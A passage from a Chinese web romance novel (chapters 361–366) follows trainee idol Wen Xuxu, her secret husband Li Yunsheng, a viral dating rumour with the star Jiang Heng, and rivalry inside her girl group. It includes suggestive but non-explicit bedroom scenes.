温栩栩干笑一声,声音软下来:“哥哥我错了,我不敢了,真的不敢了……” 她一向识时务知道男人这种情况下要怎么诱哄的。 黎云笙怎么看不出来她是演的,没等她哼完,骨节分明的手捏住她的嘴,一把捏成小鸡嘴只能唔唔,昨晚被咬破的嘴角疼的她眼睛红了。 “哥哥,哥哥你先放开我好不好,不是看视频吗,我视频还没看呢。”她眨着眼睛满脸无辜势要转移男人注意力,嘴里张口喊着哥哥,还真把她自己放到弱势方了。 黎云笙轻嗤:“我可以帮你拿着手机让你好好看看那段视频。” 到底是什么视频让黎云笙这么在意? 还不是昨晚温栩栩喝醉了酒跟江恒一起对唱了首歌,其实只唱歌没什么,但偏偏唱的是江恒专辑里面的情歌甚至最后温栩栩还喊了声哥哥。 温栩栩哭丧着脸看完了那段害人不浅的视频,已经宛如一条死鱼不敢扑腾,一副任人宰割的模样。 她还喊哥哥,昨晚喊了江恒,现在还在床上喊黎云笙?要死吗!怪不得刚才这么喊他时黎云笙眼神那么晦涩难辨呢,敢情憋着火呢! 在温栩栩这种遭遇过社会毒打并被自家老公浇灌娇养的小绿茶口中的“哥哥”那绝对是“情哥哥”的意思了! 这些话能对江恒说吗! 温栩栩无语望天,她已经死了,谁也救不活了! 怪不得一晚上增加那么多CP粉,这视频谁看谁磕。 温栩栩已经瘫在床上躺平不挣扎了,她觉得看完那段视频自己已经彻底死透了。 黎云笙关掉手机重重的“呵”了一声:“哥哥?谁是你哥哥?” 温栩栩赶紧哄他:“你是哥哥,你是全天下最好的‘情哥哥’,阿笙哥哥我错了!” 黎云笙居高临下睨她:“还狡辩吗。” 温栩栩眨眨眼,还想据理力争一下:“那个……我可以尝试狡辩一下。” 黎云笙挑眉:“说。” 温栩栩张口就来:“我觉得吧……” 黎云笙听她胡诌,温栩栩嚷嚷:“我就是犯了一个醉酒小女孩都会犯的错。” “那有的城市就是礼貌性的称呼男士叫哥,叫女性是姐姐呢,真没有性暗示。” 黎云笙微微揉了揉眉心:“你喊的是哥还是哥哥。” 真是没办法狡辩。 “还有什么其它想说的吗。”黎云笙斜睨她一眼。 “我是被冤枉的,营销号乱写,那我有礼貌又可爱还是新晋流量好多人都盯上我了,反正我委屈。” 温栩栩自认自己不是什么多好的人,但这次是真委屈。 因为她清楚自己结婚了,所以绝对不会做出背叛黎云笙的事情来,叫江恒哥哥很有可能是把他看做黎云笙了,或者就是单纯的礼貌。 她也没干什么其它的事啊,都怪黎云笙,小题大做。 她这样想着还不忘偷偷瞥身边的人一眼。 占有欲强的变态。 不过……她还挺喜欢的。 她指尖捏了捏眉心,脑海中闪过昨晚很多荒唐的姿势动作,她舔了舔唇瓣突然觉得有点渴,黎云笙又捏她:“没什么其他想说的?” 温栩栩“啊呜”一口咬住男人手指,咬完还亲亲:“所以我们昨晚果然换了好多不同的姿势!” “……” 黎云笙表情错愕,却又听温栩栩哼哼:“阿笙哥哥好过分啊,总是欺负我。”还真的是因为昨晚床上那点事在埋怨,十分不做作。 “你真是……”男人深吸一口气俯身咬她耳垂磨牙。 温栩栩“吧唧”一口亲到男人嘴巴上:“谢谢夸奖~”一点不知道害臊。 温栩栩还觉得有点新奇,一直眼巴巴的盯着男人,完全不知羞的开口:“哥哥抱。” 黎云笙没说话,温栩栩声音更软:“要抱。” 男人黑漆漆的眸子盯着看了她几秒打算先给她穿衣服,温栩栩摇头满脸不认同:“在你面前我还穿什么衣服,我身上你哪里没看过?干嘛遮遮掩掩的。” 黎云笙:“……” 行,这一局是他败给温栩栩了。 他无法反驳弯腰把人揽进怀里,温栩栩十分满足:“哥哥绑住了我的手就要帮我洗澡洗漱刷牙还要喂我吃饭。” 温栩栩完美诠释了什么叫得寸进尺顺杆儿爬,给她点好脸色真能给你开染坊。 黎云笙眸光深沉的盯着她几秒,实在想把她手上的领带解开,省的她继续作怪。 温栩栩躲开不准解还委屈巴巴,“你不管你的猫猫了吗。” 黎云笙捏了捏她的耳朵搓弄一番泄了泄火气这才抱着磨人精,洗澡洗漱刷牙,最后好说歹说才同意穿衣服还特地挑了他的衬衣穿在身上故意诱惑人似的,小嘴还不停叭叭叭嘴里喊着哥哥,好像故意要洗去黎云笙昨晚的记忆,省的他总想她叫其它男人哥哥的画面再找她的茬。 实在是显得刻意却又有点可爱。 黎云笙眸光晦深的将煎好的牛排和鸡蛋摆上桌,伸出手捂住温栩栩的嘴。 温栩栩眼里含着笑舔了下,示威一样。 黎云笙盯着她看了几秒解开了温栩栩手上的领带,温栩栩语气里是满满的失落:“啊,不绑了吗。” 换谁都不能像温栩栩这样浪断腿。 她还嫌不够坐在男人腿上靠在他怀里要喂,男人投喂完肚子咕咕叫的小猫才开始吃自己的早餐。 第362章 热搜 等他用完早餐温栩栩还赖在他怀里,哼唧着让男人抱到沙发上让黎云笙给揉腰,还不忘抱怨:“我还要去录制节目的,你看你看我身上都没有一处好地方了,全都是你留下的痕迹。” 黎云笙十分满意还不忘捏了捏她腰间软肉逼得她缩在他怀里求饶。 …… 昨晚江恒喝的烂醉一觉睡到第二天,手机一直静音,也没接到朋友的电话,还是经纪人赵明大早上的来砸门找了这位祖宗。 赵明昨晚上睡得早觉得自己早早把江恒送回家,这祖宗不出门肯定作不了妖,结果第二天一早就看到自己祖宗昨晚登录微博给温栩栩投票,还分享给粉丝投票,这事儿已经挂在热搜上,自己手机微信都快爆了全都是询问江恒温栩栩是不是真的在一起了。 别人都是这么想的,没在一起谁这么卖力吆喝着帮忙投票啊! “老赵!江恒这么想不开跟温栩栩在一起了?”这是赵明的经纪人朋友。 “老赵江恒不是一个月后就开演唱会了,现在这是闹什么呢!”这是赵明的好友。 “老赵!他俩是真的对不对!江恒都公开支持温栩栩了,你给我约个采访,我必须采访江恒!”这是赵明的记者朋友。 赵明接一个电话心凉几分,等接到这记者朋友的电话整个人已经如坠冰窟都快冻成冰棍了。 赵明心里咯噔好几下都快从嗓子眼跳出来,他打开微博眼前一黑马不停蹄开车到江恒的别墅砸门让那祖宗滚出来给交代。 江恒睡迷糊了起床气贼大,被赵明砸门砸醒了抱着软枕打开门横眉怒目,不等江恒骂他,赵明就开始嚷嚷昨晚的事。 江恒被他喊懵了,抢了他手机看那视频和热搜,一看就乐了,半点不知道着急:“这不是挺好?” 江爱豆还晕乎着呢,估计没清醒。 说起来江爱豆出身不凡,也属于那种不好好演戏唱歌就要回家继承家产这一卦,所以也没多在意这事儿,他粉丝也知道他出身,所以他现在还真不怎么着急。 他还真的对温栩栩挺有兴趣的,想追。 要不是想追温栩栩,他这么大一流量至于为了那点钱去女团训练营吗。 “哪儿好了!”赵明拿脑袋砸门:“全网都猜你俩在一起了!你俩昨天才第一次见面!你整这一出就跟实锤公布你们官宣一样!” 江恒咂舌:“要是真的就好了。” 赵明眼睛瞪的跟铜铃一样:“祖宗你还想不想继续当你的顶流了!” 祖宗盘腿坐在沙发上,随手开了罐可乐:“有什么大不了的,我是传统意义靠粉丝吃饭的流量吗?不,我是靠我家吃饭的流量,大不了退圈回去继承家业。” 江祖宗对自己的认知十分清楚半点不含糊。 赵明愣是被这话堵的哑口无言,江恒劝他:“看开点,多大点事儿,说不定在另一个时空我跟温栩栩真是一对儿呢。” 呸,你可做梦吧。 赵明心说你那么幼稚人温栩栩嫌弃死你。 赵明呼了口气:“今天那跟温栩栩一起录制的那档综艺就先别去了。” “我不。”江恒不乐意。 “你现在去参加那档综艺又要被人添油加醋说你们是一对儿。” “我乐意。”江恒扬头一口干掉整罐可乐,“我就要去参加这档节目,我做事什么时候看别人脸色了。” 江恒低头打开微博十分开心的翻看粉丝们写的同人文乐不可支。 赵明更堵心觉得自己骂了个寂寞,他怎么就带了这么个糟心艺人。 赵明堵心训练营的导演马琪却是高兴了,她昨晚看到江恒对温栩栩有兴趣,当时只是想利用江恒跟温栩栩炒绯闻想有一点热度就行,哪能想到温栩栩运气这么好都帮着她,不仅有了这绯闻还有了CP粉,微博粉丝就一晚上时间多了一百多万。 导演马琪早上起来也不接那些记者的电话就晾着,等热搜发酵。 “训练营”女团的成员也起了,跟温栩栩是死对头一直想压温栩栩一头的张雯悦刷微博看到那满屏江恒温栩栩的热搜,一个不慎手机“啪嗒”摔到地上。 张雯悦整个人彻底傻了,内心一种被称之为嫉恨的种子早已埋下,只需稍加刺激就开出那憎恶的花朵,内心深处最厌恶最嫉妒的人是谁呢,是温栩栩。 从节目录制开始温栩栩就是第一热度一直是最高把她狠狠压在下面,最好的资源通通都是温栩栩的,中插广告,综艺,这些拿得出手的资源全部都是温栩栩的,甚至那些人看到的也都是温栩栩。 他们不知道温栩栩是多令人作呕的贱人! 她现在对江恒出手,是看上江恒在圈内的顶流身份了?果真是一个为了火不择手段什么事都能做的女人。 张雯悦憎恨她却又想为什么自己不能成为温栩栩不能顶替她跟那些人接触。 如果给她一个机会她一定好好把握住机会向上爬。 张雯悦僵在原地半天没动作,她的嫉妒心是出了名的重,现在马上录制到最后阶段,训练营剩下的人没多少,能出道的仅仅五个人,且排名已经内定了,所以训练营内也没人在乎她。 跟温栩栩关系好的秦萌萌喝着牛奶看手机跳出了推荐的头条新闻,本是想一眼扫过去就关掉手机,但那标题令秦萌萌大为震惊。 “‘女团选秀训练营’温栩栩与江恒恋情曝光。” 秦萌萌牛奶都洒了,“出事了出大事了!” 秦萌萌看完那新闻整个人都慌了,有关系不错的女学员听她叫嚷走过去看了这条新闻,眉头明显皱起来。 “出什么事了?”跟温栩栩和秦萌萌在团内关系好的杜佳安也慌忙走过来十分担心。 他俩是没看到新闻,但是其他人看到了,训练营成员的表情都有些不太对。 张雯悦捡起手机说风凉话:“我们这还没有正式出道的C位可真是厉害,圈内女星没有一个比的过她的。” 杜佳安斥她:“没人理你少在这里找存在感。” 第363章 我看你下次还敢 “呵,不就是不爱听我说的话吗,我就偏要说,温栩栩可真棒,生下来就是勾搭男人的。黎总跟她关系匪浅,现在又勾上一位顶流巨星,了不得了,指不定什么时候整个娱乐圈的男星男导演都要拜倒在我们C位裙下了,了不起!我们训练营的C位真是驭男有道。”张雯悦眼睛都是红的。 杜佳安冲上去就想动手,秦萌萌赶紧拦着,杜佳安火气上来怒骂:“拦着我干什么!她这种人我都想把她那张烂嘴撕碎!不会说话就装哑巴!” 张雯悦满不在乎:“来啊你打啊,你敢打我我就敢发自拍给我粉丝看让她们知道 ‘训练营’女团内部各位关系多好!” 宿舍门被敲响,几人面色各异,秦萌萌缓了下面部表情开了车,门外正是训练营这边安排的副导演林海。 林海敏锐感知到气氛不太对,他视线若有若无的瞥向张雯悦,正看到她那满脸不屑还带几分嫉恨的表情内心了然。 林海憨厚的笑了笑:“你们都看了今天热搜?” 其实营内也不剩几个人了,没有意外最后出道的就是这几人,且温栩栩会是C位是队长,他今天过来也是为了热搜的事情。 杜佳安烦躁的坐到沙发上嘴里骂了几句,“看了,都是乱写一通,温栩栩跟江恒认不认识有没有恋爱我们还不清楚吗。” 温栩栩哪有时间跟江恒一起啊。 “不就是昨天训练营聚会圈内朋友出去喝酒被拍了吗?也就是看江恒和温栩栩最近热度高才来这么一出,谁信谁有病。”杜佳安骂着,眼睛却是盯着张雯悦。 张雯悦呵了一声不说话,林海把所有人的表情都看了一遍,询问道:“这件事到底是真是假怎么解决还要看温栩栩想怎么解决,她人呢?” 众人面面相觑,林海沉默片刻,又有来了,这次来的人是训练营导演马琪,扫了一圈没看到温栩栩,马琪皱了皱眉跟副导演林海打了声招呼。 说起来导演马琪和副导演林海其实就不是一个派系的,所以关系算不上融洽,但两人面上都还能过得去。 林海笑道:“马姐,你看关于温栩栩跟江恒这次的绯闻打算怎么解决,我是想问问温栩栩的想法再去公关。” 马琪倒是态度并不热络:“这件事需要解决吗,马上就是最后一次公演舞台,训练营也需要热度,越多的人关注越好。” 林海笑容散去几分:“马姐,温栩栩这件事影响太大,如果不好好处理的话团内其他成员恐怕也会被波及受到影响。” 马琪抱着手臂轻笑一声:“这件事影响大也仅仅是对温栩栩一人而已,再者这样的影响利大于弊,只会让更多人知道温栩栩知道‘训练营’女团,这没什么不好。” 马琪没说出来的是“训练营”女团内除了温栩栩还有谁火?还不是靠着温栩栩一人带飞?出了这事其他人只会沾光,这还有什么好说的。 事实上节目开播以来并不是只有温栩栩才有流量,秦萌萌和杜佳安人气也高,只是温栩栩因为相貌和业务能力实在太火,不仅是内网在外网也是爆火,现在跟第二名之间的票数几乎要差出来几个人,实在令人咂舌。 都是老油条了,林海自然听出来这话中深意,谁还不是公司里有资历的老人了?给你个好脸礼貌点还真当自己是姐了? 林海脸色冷下来,马琪也不理这些人拿了手机给温栩栩打电话,那头很快接通了。 赖在黎云笙怀里的温栩栩把玩着男人的手,在男人手心画心心,眼睛弯弯的:“马导有事吗?” 昨晚被狠狠折腾一番这会儿嗓子都有点哑,不过因为昨晚醉酒,酒后嗓子沙哑也是有可能的。马琪没多想问她在哪。 温栩栩左手紧握住男人的手声音慵懒:“我就在家呢,马导在训练营?我今天不是有节目需要录制吗,现在还需要回训练营吗” 马琪语气平静:“你先回来一趟,有点事商量。” 温栩栩对上男人漆黑的一双眼,她低头亲亲男人指尖,调戏完才回:“好,我马上回去。” 温栩栩挂断电话又在男人怀里伸了个懒腰哼唧:“腰好酸啊。” 黎云笙拍拍她屁股又捏了捏她的腰,温栩栩舒服的喉间都是呻吟,真跟满足的小奶猫一样。 她昨晚挑的是黎云笙和她不常住的别墅,好处就是距离训练营很近。 哦,训练营的场地都是黎云笙赞助的一座庄园,财大气粗的很。 “马琪已经在找你了,还不走?”黎云笙想把怀里的人扯出来,温栩栩树袋熊似的双手抱住男人的腰。 “我都洗漱整理好了,换件衣服就过去,还能赖几分钟。”温栩栩眼尾上扬,“你都一点不想我,总想赶我走。” 他们两人关系可没好成这样,更没这么深的感情,温栩栩纯粹是故意口嗨撩拨他。 黎云笙垂眸手扣在她腰上,“那就别走了。” 话落把人横抱起来就要回房间丢到床上作势去扯她身上的衬衣,温栩栩赶紧钻进被子里整个卷成蚕蛹,只从里面露出一颗小小的脑袋眨巴着眼睛望着她。 黎云笙挑眉伸手把她小脑袋摁到被子里,温栩栩在里面缩了会儿又冒出头摇晃着脑袋还有点得意。 黎云笙“啧”了一声去掀被子。 温栩栩趁着男人掀被子之际握住男人手腕,也不知是哪里来的力气让她忽略了身上的酸痛不适把男人摁到床上。 男人勾住她的腰声音危险:“真的不想走了?” 温栩栩在他胸口画圈圈,声音暧昧:“不走不行呀……我怕再留下来我老公的腰就不行了,到时候真被我累到去医院可就不好了。” 黎云笙喉咙滚动,对她这肆无忌惮惹火的话危险的眯眼:“温栩栩,我看你是真的不想走。” 握着她手的动作逐步加重,温栩栩立刻眨眼望他又是那副无辜模样:“错了。” 黎云笙扬眉:“我看你下次还敢。” 第364章 太会炒作 “被你看出来了,认错是专业的,改不改就要看心情了。”温栩栩笑眯眯,男人面无表情的看她几秒,黑漆漆的眸子带了几分沉重威压。 再度被摁到床上的温栩栩叫苦不迭浪到头了:“腰腰腰,腰疼,真的不敢了,哥哥我错了!” 看她疼的红了眼睛男人才松了手,温栩栩趴在床上撞死不敢继续撩拨。 男人哼笑一声打开衣柜挑了身衣服丢到床上,“温栩栩,该去医院看腰的是你。” 温栩栩满脸幽怨的捂着自己的腰:“我腰可好了,如果不是腰好也不能让你掰来掰去折来折去,你换个人早就被你折腾废了,我还能活着元气四射活蹦乱跳那是我身体好!” 想到这里温栩栩还不忘夸自己几句,啧,我就是技术好。 温栩栩这么想着又有点得意了,但低头一瞧男人丢过来的衣服,白色西装裤,长袖白衬衣。 “我想穿裙子,到大腿根能露我美腿那种,最好再露个小细腰的。我才是圈内最靓的崽儿。”温栩栩趴在床上说着豪言壮语。 黎云笙听的眉头皱起来:“你很多这样的衣服?” “不少。” 男人听了没说话脸色却冷下来。 温栩栩朝他伸出手臂晃着手:“你把我搞成这样的,你给我穿衣服。” 黎云笙没说话,温栩栩又催他,胆子大得很倒是一点不怕他:“快点~” 她太了解黎云笙了,每次温存过后的黎云笙都是脾气最好最容易哄的,她想着大概男人都这样。 黎云笙意有所指,“我帮你穿衣服?你觉得你还能回训练营?” 温栩栩愣了下,抬眼瞥见黎云笙那双黑沉中带几分情欲的眸子,没忍住就有点怂的叹了口气自己爬起来穿衣服。 毕竟在这种时候再惹火可能真的没办法回去了。 她换好衣服去对着全身镜照了照,这身衣服穿在身上还带那么点蛊惑意味儿,明明挺正经的衣服愣是让她穿的多了点媚意,显得腰细腿长。 她十分满意的对着镜子自恋了会儿这才掀开衣领看自己脖子,果真是“重灾区”,好几处红痕,甚至还有一处发青。 温栩栩头疼,黎云笙递过来遮瑕液粉底液是让她遮那些痕迹。 温栩栩幽幽的对着镜子遮吻痕还不忘讨伐:“我是知道这是‘爱’的痕迹,不知道的还以为我被家暴了。” 黎云笙撩起她的头发让她方便涂遮瑕,还不忘回她:“习惯就好。” 温栩栩动作一顿:“下次能不能不咬脖子锁骨这些地方,你换个别人看不见的地方。” 男人淡淡的嗯了一声没给她准确回答,温栩栩内心叹了口气,一切准备好这才又抱住男人的腰,鼻息间都是男人身上清爽的味道。 “最后一次公演舞台你会去看吗”她是低着头的,男人只能看到她毛茸茸的头发,看不到那双还带点泪意的眼睛。 他揉弄着她的头发嗯了一声,“你哪次公演舞台我没看。” “那你这次把许愿也请过来吧,多给她几张票。”温栩栩乐颠颠,提到许愿眼睛都亮了。 黎云笙失语片刻,怎么这种时候都能想到许愿? 开车送温栩栩到训练营不过几分钟时间,温栩栩下车还不忘给黎云笙一个离别吻。 回到训练营,保安看到她时都没忍住,眼神颇为古怪。 众人目光纷纷落在她身上,张雯悦嗤了一声满脸不虞。 “大家昨晚都回了训练营就你没回来,就你搞特殊让江恒送你呢,还没正式出道就已经知道炒作了,也不知道学了谁。”张雯悦冷不丁开口嘲讽攻击。 温栩栩从容淡定的扶着腰坐在沙发上笑里藏针:“也好过你无料可炒。” “你!”张雯悦怒了,温栩栩笑的别有深意,“你这脾气可真该收收,这是在我们训练营即将出道的几位,都是自己人,如果真在外面还不知道要被人曲解成什么样子了,是不是。” 张雯悦不屑:“曲解?我们关系本来就不好这是事实!我才不会像你们一样虚伪的装出好姐妹的样子一起出道骗粉丝。” 温栩栩笑意更深了:“这样吗?那你退出干脆别出道了。” “既然关系不好又不想演姐妹情深退团不就好了?我们还能往后顺位把更听话友好的学员招进来,你那么看得起你自己觉得你有实力那就单飞喽,没人拦你,只要你想退团我马上就向上面反映怎么样。”温栩栩笑的恶意满满。 张雯悦愤怒:“我凭什么要因为你们退团,这是我好不容易得来的机会!” 温栩栩笑意缓缓消失,看着她的眼神也带着挑剔和冰冷:“你也知道这是你好不容易得来的即将成团的机会。是有谁对不起你还是侵吞了你的资源?‘训练营’女团的资源可以说是现有最好的团队,如果因为你口中所谓的‘真性情’在外摆冷脸让团队遭人议论遭受攻击,我一定让你滚蛋。” 张雯悦内心恐惧可脸上却冷笑连连:“你以为你是谁,你有什么权利让我离开‘训练营’!” 温栩栩低头玩着自己的手指,她似乎是有点习惯把玩黎云笙的手掌,此刻黎云笙不在心情也不那么好,抬起头黑亮的眸子深沉的盯着她,“你要试试吗。” 她放缓语气,像是威胁。 张雯悦吞咽着口水没吱声,温栩栩轻蔑一笑:“既然不想退团那就夹紧尾巴做人,别给我把你踢出去的机会。” 杜佳安看张雯悦那被吓到的模样脸上的笑就收不住,张雯悦恨得牙痒痒也是觉得在这么多人面前十分丢人。 马琪藐视非常瞧不起张雯悦,还是林海站出来打圆场活跃气氛。 “好了好了,大家都是一个训练营的,没必要因为一点小事真的闹什么不愉快。”林海点了张雯悦一句,“张雯悦你那脾气是要改了,不管你以后在团内还是出去接别的节目这样都要吃亏的,以后收敛一些。” 杜佳安呦了一声:“我们张大小姐十分了不起,谁能让张大小姐收敛那脾气啊。” 第365章 好处全让她占了 林海叹气:“杜佳安,你也少说几句。” 还是秦萌萌扯了扯温栩栩的衣袖:“栩栩,你跟江恒到底怎么回事啊。” 终于谈到正题,温栩栩想到热搜上那视频还有那新冒出来的大批大批CP粉顿觉浑身疼,特别是腰,酸的很。 温栩栩下意识去揉自己的腰:“我跟江恒之间没什么关系,昨天不是跟团里一起去饭店吃饭吗,昨晚那视频是我们都喝醉被拍了才会被记者们胡乱写的那么暧昧,没什么大不了的。” 张雯悦听温栩栩说的这些话根本就憋不住:“怎么就没什么大不了的?换成别人碰瓷江恒江恒团队早澄清了,就你这里江恒不澄清还任由视频和热搜挂着,就这你俩没关系谁信?” 温栩栩冷冷睨她:“真是对不住了,圈子里但凡眼神好使脑子没病的都挺喜欢跟我做朋友,虽然就合作了一次但江恒也算是我的朋友,作为我的朋友他不会做出什么对我不利的事来让我吃亏被人讥嘲。至于我们有没有别的关系……你管得着吗。” 张雯悦愤恨瞪她,马琪冷笑道:“张雯悦小姐是不是管的太多了,温栩栩是我手底下的艺人,她跟谁关系近又因为谁上热搜恐怕跟你没有任何关系。” 马琪说是团综的导演,其实还是黎云笙旗下的公司给温栩栩找的王牌经纪人,以后就是温栩栩的个人经纪人,所以听到这话立刻怼了回去。 “为什么跟我没关系,她上热搜害我们所有人被议论!”张雯悦愤怒。 马琪笑起来,只那笑里包含的轻蔑十分明显:“你倒是去看看那热搜上有哪个词条带了你的名字,你配出现在跟江恒和温栩栩同一词条吗?就算真的有人提起你那你也该感谢温栩栩给了你热度,否则你以后就只能一直走下坡路,往后就是你求着温栩栩带你上热搜了。” 马琪这话说的难听但确实是句句在理。 她本懒得理会女团其他人,她这次来这档节目当导演也是上面给的工作让她捧温栩栩。 在她看来这团内真正能爆红的只有温栩栩,那杜佳安秦萌萌或许也会小火一把有点火的苗头,但她这身份的人还看不上这以后小爆的明星。而张雯悦这样的明显在娱乐圈内要被充当炮灰的女爱豆不知道哪儿来那么大脸那么看得起她自己。 就她的热度网络上有几个人带她?有温栩栩和江恒谁会搭理她?连个顺带的都算不上,就是太看得起她自己。 张雯悦被怼的哑口无言脸色十分难看。 温栩栩讥讽的勾起唇角,那打量的眼神很有深意。 “这次你跟江恒的绯闻没必要压下去,碰到记者就如实说你们只是朋友,不需要遮掩,大大方方说明情况,如果江恒那边来电话应该也是这么解决,等会儿我会跟江恒的经纪人商量好做些简单的回应。”马琪跟温栩栩商量工作上的事,正要提到今天的录制林海咳了一声打断马琪。 “马姐,我们是不是需要商量一下该录制成团之后的队内团综了?公司的意思是一切都先以团体行程为先。” 林海是节目组副导演,但却是公司给团队安排的团队经纪人,此刻他翻看行程表打算能尽快把团综的录制时间定下来。 国内团队出道后公司都会组织短则一周多则半个月的团综一是为巩固队员感情二是为了做宣传。 但显然马琪根本看不上队内团综,并觉得非常拉胯降低温栩栩层次。 马琪打量团员几眼笑道:“可能我们接收到的信息不太一样,我这里是一切以温栩栩的单人行程为先。” 林海脸色顿时难看起来,马琪也知道自己这话说的过了,她清清嗓子:“你提到团综,是策划部那边拟定好团综的流程了?录制几天在什么地方录制会不会邀请什么嘉宾?如果这些都确定好了再谈其他的。” 林海面上表情缓和几分:“团综定好的时间是七天,公司的意思是地点定在别墅然后邀请其他艺人做客,大家一起完成任务赚取当天生活费,算是一种较为轻松慢节奏的团综。” 马琪想了想觉得这团综可行,七天时间不算长能挪出来。 “我们这边这几天都要跑电影的宣传节目所以没办法录制团综,后面还要继续录制其它综艺,不能完全腾出七天,你看看你这边的时间安排。”马琪公事公办已经翻出行程表勾勾画画。 张雯悦大惊:“跑电影宣传?她什么时候拍了电影?温栩栩不是跟我们一起出道吗?这才多久她哪有时间拍电影!” 马琪被她一惊一乍的皱眉看向温栩栩让她解释。 如果只是张雯悦一个人温栩栩肯定不搭理,但杜佳安她们也在,不解释一下确实是容易让人多想。 “赵导即将上映的电影现在需要大面积曝光的宣传资金,我投资了赵导的电影并且帮忙补拍了两个镜头。赵导的意思是我现在也算有些热度希望我能一起参与电影宣传。”温栩栩深深的看着张雯悦:“你还有什么疑问。” 张雯悦尖叫出声:“你哪里来的钱!” 温栩栩拧眉,杜佳安被她嚷的耳朵疼:“你是不是有病,温栩栩哪来的钱也要跟你说?是不是还要把有多少家底也全都告诉你?” “赵导的电影投资的都是大数额,她跟我们同时进的训练营一起训练出道哪里来那么多钱!难道我还不能有疑问吗!” 张雯悦内心已经开始猜测温栩栩背后真的有金主,这些都是金主给的钱。 温栩栩只瞥一眼就知道张雯悦心多脏:“我跟许愿是好友,这几年跟着她炒股赚点钱不是很正常的。” 温栩栩从来不会遮掩自己跟许愿的关系。 这下张雯悦越来越恨了。 温栩栩出身普通偏偏就是运气好的入了许愿的眼成了许愿的好友,谁不知道许愿现在就跟投资之神一样,她能不知道哪只股票能赚钱吗。 她只要想想就觉得心都在跟着疼。 张雯悦内心酸涩也说不上是嫉妒还是羡慕,那么多钱她就是一辈子也不一定攒到,可真不公平。 张雯悦心理有些阴暗,凭什么出身不好却还碰到了许愿这样的天之骄女,像她这种人是好处占全了,谁能不嫉妒这样的人?而她们这种人就是给她当垫脚石的命。 第366章 想把她推到风口浪尖? “有钱人就是不一样,张口闭口几千万的。”张雯悦开口就酸。“这世界还真是不公平,什么好的都给了你,我们算什么呢。” 温栩栩眼皮一动,有点想笑又有些烦躁,眉宇间并不明显的戾气一闪而逝。 她扯了扯领口:“这世界从来都不是公平的,如果你对自己的生活感到不如意,重新投一次胎啊。” 温栩栩眼含讥讽:“像你这种怨天尤人的,重新来一次恐怕活的还不如这一世。” 她松快的靠在沙发上捏着怀里的玩偶抱枕:“你该庆幸你的人生掌握在你手里而不是像一部电视剧……如果真的是一部剧,那你一定会是死的最惨的一个炮灰。” 张雯悦脸色惨白:“难道你就是主角吗!像你这种性格谁会喜欢!” 温栩栩是什么人?阴险毒辣心思重,这能是女主的标配吗? 张雯悦梗着脖子:“你这样的真在剧里那就是恶毒女配,主角都是……”温栩栩不耐的把手中玩偶丢到她怀里截断她没说完的话:“温柔善良圣母像天使一样体贴的女孩?别搞笑了。” 温栩栩右腿搭在左腿上一派慵懒肆意:“这种性格的女生在现实里大多碌碌无为,不外乎有那么几个运气好的能走得远一些,可平凡人居多。” “你以为以往为什么那么多的女主角都是这种性格,因为有人潜移默化的在影响女性,你们要善良要温柔,只有这样男人才会爱你,只有不停退让哪怕被欺负了也不要还手迟早有一天会感化坏人,这样才是男性喜欢的女人,” 她恶劣的勾唇:“这种纯属童话故事看多生活的太理想化脑子都被腐蚀。在这吃人的社会你这样活着不是被人踩在脚下就是被人嫌弃累赘。说你是善良不如说是孬种怂包,哪怕是结了婚这种唯唯诺诺的性格男人迟早在外面养情人,哦对,电视剧还会教你要大气,哪怕他们有了情人我们也要大度以夫为天,是吧。” 张雯悦只觉自己被温栩栩这些话像是狠抽了一耳光,她觉得温栩栩说的很有道理甚至无法反驳。 温栩栩放下右腿,高跟鞋落地发出的声响也像是落在她心扉。 “张雯悦,你说的白莲花主角早就过时了,所以这种性格的人只配在我的剧本里连出场的机会都不配拥有。”温栩栩嗤笑讥讽。 张雯悦茫然无措的看向秦萌萌和杜佳安,俨然是把秦萌萌和杜佳安看做这种性格的人。 温栩栩抑制不住自己的笑意:“你觉得萌萌和杜佳安是白莲花傻白甜性格?行了别用你那蠢兮兮的眼神骂人了她们为人处世与人交友都有自己的原则,不然早被人卖了。” 秦萌萌看着十分温柔,却是个心思缜密的人,杜佳安那张脸更迷惑人,但杜佳安本人绝对不是真没脑子的人,不然她也不会在节目组最爱黏着秦萌萌和温栩栩。 她就是知道她们是最不可能伤害她并且几乎没有牵扯什么共同利益还能彼此互赢所以三人当初才能如此要好。 可以说能留到最后的女团成员除了张雯悦就没有真蠢的,偏就是这个真蠢的觉得别人蠢就她一个人聪明。 林海面上的笑意都有些坚持不住,坦白来讲他被温栩栩那段话说的心头发寒,只觉得温栩栩这人活的太清醒。 马琪却很满意温栩栩那通话,更觉温栩栩的性子跟她很合得来,她可不喜欢身边养一个能被人几句话挑起火连表情管理都不能做好的笨蛋。 “最后真正能出道的就是就是我们几个了?” 温栩栩扫了眼还在震惊重的张雯悦一眼开口。 “我记得马导你之前提到过,正式成团出道后我们每个人除了有一首属于自己的单曲还有四首团队歌曲,你们这几天一直在录制这些歌吧,我下午要录制其他节目,上午还有时间录完我的副歌部分。” 距离最后一次公演舞台还有两天时间,事实上最终出道人选已定。 最后的公演舞台智能算是走个流程,她们最后公演的舞台表演的节目都已经排好了,现在安排的是以后出道后的工作了。 像这种女团出道后都会录制七天团综,温栩栩提了下后期资源的问题,张雯悦盯着温栩栩看了几眼。 “温栩栩。”张雯悦结结巴巴喊了温栩栩的名字,目光却有些闪躲羞耻:“你跟江恒和许愿关系那么好……能不能在我们拍摄团综的时候把江恒和许愿请来为我们暖综艺?或者可以让江恒当主持人也行。” 她越说越有理:“白白曝光的机会他肯定不会不要,请他们来的话我们都有好处,而且他们曝光我们也能有热度。” 那可是许愿和江恒啊! 许愿的美貌和优秀那是有目共睹的,且她还没有参加过任何一档综艺,如果能来参加他们的团综,她们的综艺绝对会爆的。 再加上这次如果能请到江恒……拜托那是顶流男团爱豆江恒啊! 张雯悦想通了,反正再厌恶温栩栩也没办法变成温栩栩得到她身上那些好处,倒不如通过她看看能不能跟其他流量捆绑或是跟一些资本捆绑。 温栩栩人已经走到别墅门口,听了这话着实有些手痒,她倚靠在门边斜眼看她:“你这是承认你是蠢货直接开始在我面前卖蠢了是吗。” “拿我当踏板请江恒和阿愿来暖团综?这是想让我被推到风口浪尖上呢。” 江恒算是小天王当红流量,不管参加什么节目那都自带高热流量的主,而她们女团才刚出道就想让江恒当主持人常驻嘉宾跟她们一起录制七天?谁给你的脸呢? 这要播出了或许没人骂其他人但绝对会攻击温栩栩,只会觉得这件事跟温栩栩脱不了关系。 